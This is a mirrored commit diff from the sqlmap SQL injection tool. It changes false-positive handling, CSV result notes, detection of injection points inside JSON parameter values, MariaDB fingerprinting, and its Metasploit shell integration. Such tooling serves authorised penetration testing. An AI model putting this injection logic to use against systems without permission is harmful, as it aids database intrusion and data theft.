mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-07-30 18:10:12 +03:00
Merge remote-tracking branch 'sqlmapproject/master'
This commit is contained in:
commit
19202a23ad
|
@ -55,6 +55,7 @@ from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
|
from lib.core.enums import NOTE
|
||||||
from lib.core.enums import NULLCONNECTION
|
from lib.core.enums import NULLCONNECTION
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
|
@ -696,10 +697,10 @@ def checkSqlInjection(place, parameter, value):
|
||||||
warnMsg += "problems during data retrieval"
|
warnMsg += "problems during data retrieval"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
injection = checkFalsePositives(injection)
|
if not checkFalsePositives(injection):
|
||||||
|
|
||||||
if not injection:
|
|
||||||
kb.vulnHosts.remove(conf.hostname)
|
kb.vulnHosts.remove(conf.hostname)
|
||||||
|
injection.notes.add(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
injection = None
|
injection = None
|
||||||
|
|
||||||
|
@ -748,7 +749,7 @@ def checkFalsePositives(injection):
|
||||||
Checks for false positives (only in single special cases)
|
Checks for false positives (only in single special cases)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = injection
|
retVal = True
|
||||||
|
|
||||||
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
|
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
|
||||||
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
|
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
|
||||||
|
@ -774,7 +775,7 @@ def checkFalsePositives(injection):
|
||||||
break
|
break
|
||||||
|
|
||||||
if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)):
|
if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)):
|
||||||
retVal = None
|
retVal = False
|
||||||
break
|
break
|
||||||
|
|
||||||
# Just in case if DBMS hasn't properly recovered from previous delayed request
|
# Just in case if DBMS hasn't properly recovered from previous delayed request
|
||||||
|
@ -782,22 +783,22 @@ def checkFalsePositives(injection):
|
||||||
checkBooleanExpression("%d=%d" % (randInt1, randInt2))
|
checkBooleanExpression("%d=%d" % (randInt1, randInt2))
|
||||||
|
|
||||||
if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): # this must not be evaluated to True
|
if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): # this must not be evaluated to True
|
||||||
retVal = None
|
retVal = False
|
||||||
break
|
break
|
||||||
|
|
||||||
elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): # this must not be evaluated to True
|
elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): # this must not be evaluated to True
|
||||||
retVal = None
|
retVal = False
|
||||||
break
|
break
|
||||||
|
|
||||||
elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): # this must be evaluated to True
|
elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): # this must be evaluated to True
|
||||||
retVal = None
|
retVal = False
|
||||||
break
|
break
|
||||||
|
|
||||||
elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement)
|
elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement)
|
||||||
retVal = None
|
retVal = False
|
||||||
break
|
break
|
||||||
|
|
||||||
if retVal is None:
|
if not retVal:
|
||||||
warnMsg = "false positive or unexploitable injection point detected"
|
warnMsg = "false positive or unexploitable injection point detected"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
|
@ -45,6 +45,7 @@ from lib.core.enums import CONTENT_TYPE
|
||||||
from lib.core.enums import HASHDB_KEYS
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
|
from lib.core.enums import NOTE
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
from lib.core.exception import SqlmapBaseException
|
from lib.core.exception import SqlmapBaseException
|
||||||
|
@ -225,23 +226,23 @@ def _saveToResultsFile():
|
||||||
results = {}
|
results = {}
|
||||||
techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE)))
|
techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE)))
|
||||||
|
|
||||||
for inj in kb.injections:
|
for inj in kb.injections + kb.falsePositives:
|
||||||
if inj.place is None or inj.parameter is None:
|
if inj.place is None or inj.parameter is None:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
key = (inj.place, inj.parameter)
|
key = (inj.place, inj.parameter, ';'.join(inj.notes))
|
||||||
if key not in results:
|
if key not in results:
|
||||||
results[key] = []
|
results[key] = []
|
||||||
|
|
||||||
results[key].extend(inj.data.keys())
|
results[key].extend(inj.data.keys())
|
||||||
|
|
||||||
for key, value in results.items():
|
for key, value in results.items():
|
||||||
place, parameter = key
|
place, parameter, notes = key
|
||||||
line = "%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), os.linesep)
|
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), notes, os.linesep)
|
||||||
conf.resultsFP.writelines(line)
|
conf.resultsFP.writelines(line)
|
||||||
|
|
||||||
if not results:
|
if not results:
|
||||||
line = "%s,,,%s" % (conf.url, os.linesep)
|
line = "%s,,,,%s" % (conf.url, os.linesep)
|
||||||
conf.resultsFP.writelines(line)
|
conf.resultsFP.writelines(line)
|
||||||
|
|
||||||
def start():
|
def start():
|
||||||
|
@ -520,23 +521,30 @@ def start():
|
||||||
|
|
||||||
injection = checkSqlInjection(place, parameter, value)
|
injection = checkSqlInjection(place, parameter, value)
|
||||||
proceed = not kb.endDetection
|
proceed = not kb.endDetection
|
||||||
|
injectable = False
|
||||||
|
|
||||||
if getattr(injection, "place", None) is not None:
|
if getattr(injection, "place", None) is not None:
|
||||||
kb.injections.append(injection)
|
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
|
||||||
|
kb.falsePositives.append(injection)
|
||||||
|
else:
|
||||||
|
injectable = True
|
||||||
|
|
||||||
# In case when user wants to end detection phase (Ctrl+C)
|
kb.injections.append(injection)
|
||||||
if not proceed:
|
|
||||||
break
|
|
||||||
|
|
||||||
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
|
# In case when user wants to end detection phase (Ctrl+C)
|
||||||
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
|
if not proceed:
|
||||||
test = readInput(msg, default="N")
|
break
|
||||||
|
|
||||||
if test[0] not in ("y", "Y"):
|
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
|
||||||
proceed = False
|
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
|
||||||
paramKey = (conf.hostname, conf.path, None, None)
|
test = readInput(msg, default="N")
|
||||||
kb.testedParams.add(paramKey)
|
|
||||||
else:
|
if test[0] not in ("y", "Y"):
|
||||||
|
proceed = False
|
||||||
|
paramKey = (conf.hostname, conf.path, None, None)
|
||||||
|
kb.testedParams.add(paramKey)
|
||||||
|
|
||||||
|
if not injectable:
|
||||||
warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
|
warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
|
||||||
warnMsg += "injectable"
|
warnMsg += "injectable"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -651,6 +659,8 @@ def start():
|
||||||
errMsg = getSafeExString(ex)
|
errMsg = getSafeExString(ex)
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
|
_saveToResultsFile()
|
||||||
|
|
||||||
errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
|
errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
else:
|
else:
|
||||||
|
@ -669,9 +679,10 @@ def start():
|
||||||
if kb.dataOutputFlag and not conf.multipleTargets:
|
if kb.dataOutputFlag and not conf.multipleTargets:
|
||||||
logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
|
logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
|
||||||
|
|
||||||
if conf.multipleTargets and conf.resultsFilename:
|
if conf.multipleTargets:
|
||||||
infoMsg = "you can find results of scanning in multiple targets "
|
if conf.resultsFilename:
|
||||||
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
|
infoMsg = "you can find results of scanning in multiple targets "
|
||||||
logger.info(infoMsg)
|
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -168,7 +168,7 @@ class Agent(object):
|
||||||
retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
|
retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
|
||||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||||
_ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
|
_ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
|
||||||
retVal = "%s=%s" % (parameter, paramString.replace(_, self.addPayloadDelimiters(newValue)))
|
retVal = "%s=%s" % (re.sub(r" (\#\d\*|\(.+\))\Z", "", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue)))
|
||||||
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
||||||
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -601,15 +601,54 @@ def paramToDict(place, parameters=None):
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if place in (PLACE.POST, PLACE.GET):
|
if place in (PLACE.POST, PLACE.GET):
|
||||||
regex = r"\A([^\w]+.*\w+)([^\w]+)\Z"
|
for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"):
|
||||||
match = re.search(regex, testableParameters[parameter])
|
match = re.search(regex, testableParameters[parameter])
|
||||||
if match:
|
if match:
|
||||||
_ = re.sub(regex, "\g<1>%s\g<2>" % CUSTOM_INJECTION_MARK_CHAR, testableParameters[parameter])
|
try:
|
||||||
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
|
candidates = OrderedDict()
|
||||||
message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
|
|
||||||
test = readInput(message, default="N")
|
def walk(head, current=None):
|
||||||
if test[0] in ("y", "Y"):
|
current = current or head
|
||||||
testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
|
if isListLike(current):
|
||||||
|
for _ in current:
|
||||||
|
walk(head, _)
|
||||||
|
elif isinstance(current, dict):
|
||||||
|
for key in current.keys():
|
||||||
|
value = current[key]
|
||||||
|
if isinstance(value, (list, tuple, set, dict)):
|
||||||
|
walk(head, value)
|
||||||
|
elif isinstance(value, (bool, int, float, basestring)):
|
||||||
|
original = current[key]
|
||||||
|
if isinstance(value, bool):
|
||||||
|
current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
|
||||||
|
else:
|
||||||
|
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
||||||
|
candidates["%s (%s)" % (parameter, key)] = json.dumps(deserialized)
|
||||||
|
current[key] = original
|
||||||
|
|
||||||
|
deserialized = json.loads(testableParameters[parameter])
|
||||||
|
walk(deserialized)
|
||||||
|
|
||||||
|
if candidates:
|
||||||
|
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
|
||||||
|
message += "is JSON deserializable. Do you want to inject inside? [y/N] "
|
||||||
|
test = readInput(message, default="N")
|
||||||
|
if test[0] in ("y", "Y"):
|
||||||
|
del testableParameters[parameter]
|
||||||
|
testableParameters.update(candidates)
|
||||||
|
break
|
||||||
|
except (KeyboardInterrupt, SqlmapUserQuitException):
|
||||||
|
raise
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
_ = re.sub(regex, "\g<1>%s\g<%d>" % (CUSTOM_INJECTION_MARK_CHAR, len(match.groups())), testableParameters[parameter])
|
||||||
|
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
|
||||||
|
message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
|
||||||
|
test = readInput(message, default="N")
|
||||||
|
if test[0] in ("y", "Y"):
|
||||||
|
testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
|
||||||
|
break
|
||||||
|
|
||||||
if conf.testParameter and not testableParameters:
|
if conf.testParameter and not testableParameters:
|
||||||
paramStr = ", ".join(test for test in conf.testParameter)
|
paramStr = ", ".join(test for test in conf.testParameter)
|
||||||
|
@ -1350,12 +1389,15 @@ def parseTargetUrl():
|
||||||
else:
|
else:
|
||||||
conf.port = 80
|
conf.port = 80
|
||||||
|
|
||||||
if urlSplit.query:
|
|
||||||
conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
|
||||||
|
|
||||||
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
|
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
|
||||||
conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
|
conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
|
||||||
|
|
||||||
|
if urlSplit.query:
|
||||||
|
if '=' not in urlSplit.query:
|
||||||
|
conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
|
||||||
|
else:
|
||||||
|
conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
||||||
|
|
||||||
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
|
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
|
||||||
debugMsg = "setting the HTTP Referer header to the target URL"
|
debugMsg = "setting the HTTP Referer header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
|
@ -160,7 +160,7 @@ def htmlunescape(value):
|
||||||
codes = (('<', '<'), ('>', '>'), ('"', '"'), (' ', ' '), ('&', '&'))
|
codes = (('<', '<'), ('>', '>'), ('"', '"'), (' ', ' '), ('&', '&'))
|
||||||
retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal)
|
retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal)
|
||||||
try:
|
try:
|
||||||
retVal = re.sub(r"&#x([^;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
|
retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
|
||||||
except ValueError:
|
except ValueError:
|
||||||
pass
|
pass
|
||||||
return retVal
|
return retVal
|
||||||
|
|
|
@ -93,6 +93,7 @@ class InjectionDict(AttribDict):
|
||||||
self.prefix = None
|
self.prefix = None
|
||||||
self.suffix = None
|
self.suffix = None
|
||||||
self.clause = None
|
self.clause = None
|
||||||
|
self.notes = set()
|
||||||
|
|
||||||
# data is a dict with various stype, each which is a dict with
|
# data is a dict with various stype, each which is a dict with
|
||||||
# all the information specific for that stype
|
# all the information specific for that stype
|
||||||
|
|
|
@ -15,10 +15,13 @@ def cachedmethod(f, cache={}):
|
||||||
def _(*args, **kwargs):
|
def _(*args, **kwargs):
|
||||||
try:
|
try:
|
||||||
key = (f, tuple(args), frozenset(kwargs.items()))
|
key = (f, tuple(args), frozenset(kwargs.items()))
|
||||||
|
if key not in cache:
|
||||||
|
cache[key] = f(*args, **kwargs)
|
||||||
except:
|
except:
|
||||||
key = "".join(str(_) for _ in (f, args, kwargs))
|
key = "".join(str(_) for _ in (f, args, kwargs))
|
||||||
if key not in cache:
|
if key not in cache:
|
||||||
cache[key] = f(*args, **kwargs)
|
cache[key] = f(*args, **kwargs)
|
||||||
|
|
||||||
return cache[key]
|
return cache[key]
|
||||||
|
|
||||||
return _
|
return _
|
||||||
|
|
|
@ -194,6 +194,7 @@ class OPTION_TYPE:
|
||||||
|
|
||||||
class HASHDB_KEYS:
|
class HASHDB_KEYS:
|
||||||
DBMS = "DBMS"
|
DBMS = "DBMS"
|
||||||
|
DBMS_FORK = "DBMS_FORK"
|
||||||
CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
|
CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
|
||||||
CONF_TMP_PATH = "CONF_TMP_PATH"
|
CONF_TMP_PATH = "CONF_TMP_PATH"
|
||||||
KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
|
KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
|
||||||
|
@ -351,3 +352,6 @@ class AUTOCOMPLETE_TYPE:
|
||||||
SQL = 0
|
SQL = 0
|
||||||
OS = 1
|
OS = 1
|
||||||
SQLMAP = 2
|
SQLMAP = 2
|
||||||
|
|
||||||
|
class NOTE:
|
||||||
|
FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
|
||||||
|
|
|
@ -133,6 +133,7 @@ from lib.core.settings import URI_INJECTABLE_REGEX
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
from lib.core.settings import WEBSCARAB_SPLITTER
|
from lib.core.settings import WEBSCARAB_SPLITTER
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
|
from lib.core.threads import setDaemon
|
||||||
from lib.core.update import update
|
from lib.core.update import update
|
||||||
from lib.parse.configfile import configFileParser
|
from lib.parse.configfile import configFileParser
|
||||||
from lib.parse.payloads import loadBoundaries
|
from lib.parse.payloads import loadBoundaries
|
||||||
|
@ -1063,6 +1064,7 @@ def _setSocketPreConnect():
|
||||||
socket.socket.connect = connect
|
socket.socket.connect = connect
|
||||||
|
|
||||||
thread = threading.Thread(target=_)
|
thread = threading.Thread(target=_)
|
||||||
|
setDaemon(thread)
|
||||||
thread.start()
|
thread.start()
|
||||||
|
|
||||||
def _setHTTPHandlers():
|
def _setHTTPHandlers():
|
||||||
|
@ -1838,6 +1840,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||||
kb.extendTests = None
|
kb.extendTests = None
|
||||||
kb.errorChunkLength = None
|
kb.errorChunkLength = None
|
||||||
kb.errorIsNone = True
|
kb.errorIsNone = True
|
||||||
|
kb.falsePositives = []
|
||||||
kb.fileReadMode = False
|
kb.fileReadMode = False
|
||||||
kb.followSitemapRecursion = None
|
kb.followSitemapRecursion = None
|
||||||
kb.forcedDbms = None
|
kb.forcedDbms = None
|
||||||
|
|
|
@ -32,7 +32,6 @@ def setDbms(dbms):
|
||||||
dbms = _.group(1)
|
dbms = _.group(1)
|
||||||
|
|
||||||
Backend.setDbms(dbms)
|
Backend.setDbms(dbms)
|
||||||
|
|
||||||
logger.info("the back-end DBMS is %s" % Backend.getDbms())
|
logger.info("the back-end DBMS is %s" % Backend.getDbms())
|
||||||
|
|
||||||
def setOs():
|
def setOs():
|
||||||
|
|
|
@ -19,7 +19,7 @@ from lib.core.enums import OS
|
||||||
from lib.core.revision import getRevisionNumber
|
from lib.core.revision import getRevisionNumber
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.0.5.11"
|
VERSION = "1.0.5.36"
|
||||||
REVISION = getRevisionNumber()
|
REVISION = getRevisionNumber()
|
||||||
STABLE = VERSION.count('.') <= 2
|
STABLE = VERSION.count('.') <= 2
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")
|
VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")
|
||||||
|
@ -130,6 +130,9 @@ HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate"
|
||||||
# Default timeout for running commands over backdoor
|
# Default timeout for running commands over backdoor
|
||||||
BACKDOOR_RUN_CMD_TIMEOUT = 5
|
BACKDOOR_RUN_CMD_TIMEOUT = 5
|
||||||
|
|
||||||
|
# Number of seconds to wait for thread finalization at program end
|
||||||
|
THREAD_FINALIZATION_TIMEOUT = 1
|
||||||
|
|
||||||
# Maximum number of techniques used in inject.py/getValue() per one value
|
# Maximum number of techniques used in inject.py/getValue() per one value
|
||||||
MAX_TECHNIQUES_PER_VALUE = 2
|
MAX_TECHNIQUES_PER_VALUE = 2
|
||||||
|
|
||||||
|
@ -530,7 +533,7 @@ HASHDB_FLUSH_RETRIES = 3
|
||||||
HASHDB_END_TRANSACTION_RETRIES = 3
|
HASHDB_END_TRANSACTION_RETRIES = 3
|
||||||
|
|
||||||
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
|
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
|
||||||
HASHDB_MILESTONE_VALUE = "WVMqopmuzX" # "".join(random.sample(string.ascii_letters, 10))
|
HASHDB_MILESTONE_VALUE = "zYwqRDymvj" # "".join(random.sample(string.ascii_letters, 10))
|
||||||
|
|
||||||
# Warn user of possible delay due to large page dump in full UNION query injections
|
# Warn user of possible delay due to large page dump in full UNION query injections
|
||||||
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
||||||
|
|
|
@ -542,7 +542,7 @@ def _setResultsFile():
|
||||||
errMsg += "create temporary files and/or directories"
|
errMsg += "create temporary files and/or directories"
|
||||||
raise SqlmapSystemException(errMsg)
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
conf.resultsFP.writelines("Target URL,Place,Parameter,Techniques%s" % os.linesep)
|
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
|
||||||
|
|
||||||
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
|
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
|
||||||
|
|
||||||
|
|
|
@ -373,6 +373,9 @@ class Connect(object):
|
||||||
if boundary:
|
if boundary:
|
||||||
headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)
|
headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)
|
||||||
|
|
||||||
|
if conf.keepAlive:
|
||||||
|
headers[HTTP_HEADER.CONNECTION] = "keep-alive"
|
||||||
|
|
||||||
# Reset header values to original in case of provided request file
|
# Reset header values to original in case of provided request file
|
||||||
if target and conf.requestFile:
|
if target and conf.requestFile:
|
||||||
headers = OrderedDict(conf.httpHeaders)
|
headers = OrderedDict(conf.httpHeaders)
|
||||||
|
|
|
@ -432,7 +432,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||||
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
|
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
|
||||||
|
|
||||||
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
|
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
|
||||||
kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", expression)) if re.search(r"(?i)SELECT.+FROM", expression) else None
|
kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
|
||||||
kb.technique = PAYLOAD.TECHNIQUE.TIME
|
kb.technique = PAYLOAD.TECHNIQUE.TIME
|
||||||
|
|
|
@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
import select
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
import time
|
import time
|
||||||
|
@ -47,8 +48,6 @@ from lib.core.subprocessng import recv_some
|
||||||
|
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
import msvcrt
|
import msvcrt
|
||||||
else:
|
|
||||||
from select import select
|
|
||||||
|
|
||||||
class Metasploit:
|
class Metasploit:
|
||||||
"""
|
"""
|
||||||
|
@ -550,7 +549,7 @@ class Metasploit:
|
||||||
# Probably the child has exited
|
# Probably the child has exited
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
ready_fds = select([stdin_fd], [], [], 1)
|
ready_fds = select.select([stdin_fd], [], [], 1)
|
||||||
|
|
||||||
if stdin_fd in ready_fds[0]:
|
if stdin_fd in ready_fds[0]:
|
||||||
try:
|
try:
|
||||||
|
@ -598,7 +597,7 @@ class Metasploit:
|
||||||
else:
|
else:
|
||||||
proc.kill()
|
proc.kill()
|
||||||
|
|
||||||
except (EOFError, IOError):
|
except (EOFError, IOError, select.error):
|
||||||
return proc.returncode
|
return proc.returncode
|
||||||
|
|
||||||
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||||
|
|
|
@ -10,10 +10,13 @@ import re
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
from lib.core.common import Format
|
from lib.core.common import Format
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
|
from lib.core.common import hashDBRetrieve
|
||||||
|
from lib.core.common import hashDBWrite
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
|
@ -103,6 +106,10 @@ class Fingerprint(GenericFingerprint):
|
||||||
value += "back-end DBMS: "
|
value += "back-end DBMS: "
|
||||||
actVer = Format.getDbms()
|
actVer = Format.getDbms()
|
||||||
|
|
||||||
|
_ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
|
||||||
|
if _:
|
||||||
|
actVer += " (%s fork)" % _
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
value += actVer
|
value += actVer
|
||||||
return value
|
return value
|
||||||
|
@ -177,6 +184,9 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
|
||||||
|
hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("@@USERSTAT LIKE @@USERSTAT") and "MariaDB" or "")
|
||||||
|
|
||||||
# reading information_schema on some platforms is causing annoying timeout exits
|
# reading information_schema on some platforms is causing annoying timeout exits
|
||||||
# Reference: http://bugs.mysql.com/bug.php?id=15855
|
